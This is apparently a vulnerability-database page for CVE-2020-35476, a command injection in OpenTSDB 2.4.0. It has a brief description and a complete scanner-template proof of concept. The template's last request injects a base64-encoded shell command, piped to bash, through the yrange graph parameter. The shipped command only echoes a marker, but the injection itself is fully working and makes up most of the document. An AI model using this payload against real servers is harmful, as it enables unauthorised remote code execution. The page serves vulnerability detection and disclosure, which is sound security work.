CVE-2020-35476: OpenTSDB 2.4.0 Remote Code Execution

日期: 2025-09-01 | 影响软件: 未知 | POC: 已公开

漏洞描述

A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. This file is then executed via the mygnuplot.sh shell script. (tsd/GraphHandler.java attempted to prevent command injections by blocking backticks but this is insufficient.)

PoC代码[已公开]

id: CVE-2020-35476

info:
  name: OpenTSDB 2.4.0 Remote Code Execution
  author: mvhz81
  severity: critical
  description: |-
    A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. This file is then executed via the mygnuplot.sh shell script. (tsd/GraphHandler.java attempted to prevent command injections by blocking backticks but this is insufficient.)
  reference:
    - https://www.tenable.com/security/research/tra-2020-56
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
  tags: cve,cve2020,opentsdb,rce
  created: 2023/06/23

set:
  r1: randomLowercase(3)
  r2: randomLowercase(3)
  r3: randomLowercase(3)
  r4: randomInt(1024, 65535)
rules:
  r0:
    request:
      method: GET
      path: /s/opentsdb_header.jpg
    expression: response.status == 200 && response.content_type.contains("text/plain") && response.body.bcontains(b"\xff\xd8\xff\xe1")
  r1:
    request:
      method: POST
      path: /api/put
      body: |-
        [
            {
                "metric": "{{r1}}.{{r2}}.{{r3}}",
                "timestamp": 1608700420,
                "value": {{r4}},
                "tags": {
                   "host": "web01",
                   "dc": "lga"
                }
            },
            {
                "metric": "{{r1}}.{{r2}}.{{r3}}",
                "timestamp": 1608700421,
                "value": {{r4}},
                "tags": {
                   "host": "web02",
                   "dc": "lga"
                }
            }
        ]
    expression: sleep(5) && response.status == 204 && response.content_type.contains("json")
  r2:
    request:
      method: GET
      path: /q?start=2000/10/21-00:00:00&end=2020/12/25-00:00:00&m=sum:{{r1}}.{{r2}}.{{r3}}&o=&yrange=[0:system('echo%20-e%20"ZWNobyAxMjMgfG1kNXN1bSAxPiYyCg=="%20|%20base64%20-d%20|bash')]&wxh=1698x316&style=linespoint&json
    expression: response.status == 400 && response.content_type.contains("json") && "ba1f2511fc30423bdbb183fe33f3dd0f".bmatches(response.body)
expression: r0() && r1() && r2()